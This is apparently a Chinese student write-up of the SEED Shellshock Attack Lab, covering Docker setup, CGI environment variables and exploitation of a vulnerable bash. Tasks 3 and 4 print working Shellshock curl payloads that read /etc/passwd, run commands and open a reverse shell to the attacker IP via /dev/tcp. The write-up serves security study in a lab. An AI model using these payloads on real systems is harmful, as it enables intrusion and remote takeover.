Shellshock Attack Lab
Environment Setup
SSH终于配置好了,现在用mac连上寝室的Ubuntu来完成。
首先配置一下docker,参考下面的链接。
然后需要修改一下docker的配置,添加镜像或者走代理。
目前国内的镜像不太稳定,所以选择走代理。配置代理的步骤如下,可见已经成功拉取到了镜像。

其中配置信息如下, 192.168.195.1 是宿主机的IP地址,7890端口是VPN所在的端口。

将下面的IP地址映射添加到 /etc/hosts。

利用实验给好的 docker-compose.yml 启动docker。可以看发现我们启动了运行apache服务器的容器。


Task 1: Experimenting with Bash Function
设计一个实验。定义一个包含特殊内容的shell变量foo。用一个看上去是函数定义的字符串作为变量foo的值,并且在结尾的大括号后面添加一个额外的命令(echo)(左大括号前后都需要有一个空格)。在补丁版本的bash(/bin/bash)上尝试,对于当前进程来说,这些圆括号、大括号没有任何特别的含义,它们仅仅是一个变量的内容,就如同内容中的其他字符一样。 这也是用declare命令列出所有函数定义时显示为空的原因。因为foo只是一个变量,不是函数。
用export 命令标记该shell变量,这样它会作为环境变量传给子进程。此时运行有漏洞版本的bash,当一个子Bash进程被创建时,子shell将会解析该环境变量,把它转化为子函数定义。在解析的过程中,由于Shellshock漏洞,Bash将执行大括号后面的额外命令。因此,当有漏洞版本的Bash在子进程中运行后,一个“ extra”字符串被打印出来。

Task 2: Passing Data to Bash via Environment Variable
由于虚拟机的网络代理有一点问题,所以将docker中的服务的域名改为了www.seed-server2.com
- 通过浏览器访问

经过比对发现HTTP 请求的HOST、USER_AGENT、ACCEPT等信息均为环境变量
- 通过
curl访问
下面展示了四种不同的方式。
# 修改请求报文头中的字段
curl -v www.seed-server2.com/cgi-bin/getenv.cgi
curl -A "my data" -v www.seed-server2.com/cgi-bin/getenv.cgi
curl -e "my data" -v www.seed-server2.com/cgi-bin/getenv.cgi
curl -H "AAAAAA: BBBBBB" -v www.seed-server2.com/cgi-bin/getenv.cgi

第二种方法的发现环境变量 HTTP_USER_AGENT发生了改变。

第三种方法的发现环境变量 HTTP_REFERER发生了改变。

第四种方法的发现新增的参数也被写到了环境变量里面。

Task 3: Launching the Shellshock Attack
攻击的目标如图。通过上面的实验可以知道,我们的环境变量会根据报文头传入 bash_shellshock ,且该bash存在环境变量的漏洞,所以可以通过这个方式来操控shell。

- 任务A
curl -A "() { : ;}; echo ; /bin/cat /etc/passwd" \
http://www.seed-server2.com/cgi-bin/vul.cgi

- 任务B
curl -A "() { : ;}; echo ; /bin/id " \
http://www.seed-server2.com/cgi-bin/vul.cgi

- 任务C
curl -A "() { : ;}; echo ; /bin/touch /tmp/rwb " \
http://www.seed-server2.com/cgi-bin/vul.cgi
curl -A "() { : ;}; echo; /bin/ls -l /tmp" \
http://www.seed-server2.com/cgi-bin/vul.cgi

- 任务D
curl -A "() { : ;}; echo; /bin/rm /tmp/rwb " \
http://www.seed-server2.com/cgi-bin/vul.cgi
curl -A "() { : ;}; echo; /bin/ls -l /tmp" \
http://www.seed-server2.com/cgi-bin/vul.cgi

问题
Q1:
不能打开/etc/shadow,因为只是www-data权限,权限不够,需要root权限

Q2:
不能成功,虽然能够作为环境变量传入,但不能成功将带空格的字符串设置为环境变量,所以不能攻击成功
curl -V http://www.seed-server2.com/cgi-bin/vul.cgi?() { : ;}; echo ; /bin/id

Task 4: Getting a Reverse Shell via Shellshock Attack
虚拟机(attacker)的IP为 172.17.0.1 ,向docker(victim)输入下面的信息,即可以获取shell
curl -A "() { : ;}; echo; /bin/bash -i > /dev/tcp/172.17.0.1/9090 0>&1 2>&1"\
http://www.seed-server2.com/cgi-bin/vul.cgi


已经获取到了victim的bash
Task 5: Using the Patched Bash
修改 vul.cgi 并重新构建docker。

重新构建,这里报了一个错误,先把之前的docker清理了就可以了
# 停止所有容器
docker-compose down
# 清理所有未使用的容器、镜像、网络和构建缓存
docker system prune -a -f
# 清理 volumes(如果需要)
docker volume prune -f
docker-compose build
docker-compose up
可以发现task3中的攻击均失效了。

总结
本次实验比较简单。由于国内镜像的原因,docker的环境配置比较麻烦,以及之前配置的网络代理导致我在上网访问docker的时候出了一点问题。过程中,加深对环境变量的理解和熟悉了docker构建的操作,实验中最难最关键点在于反弹Shell的指令。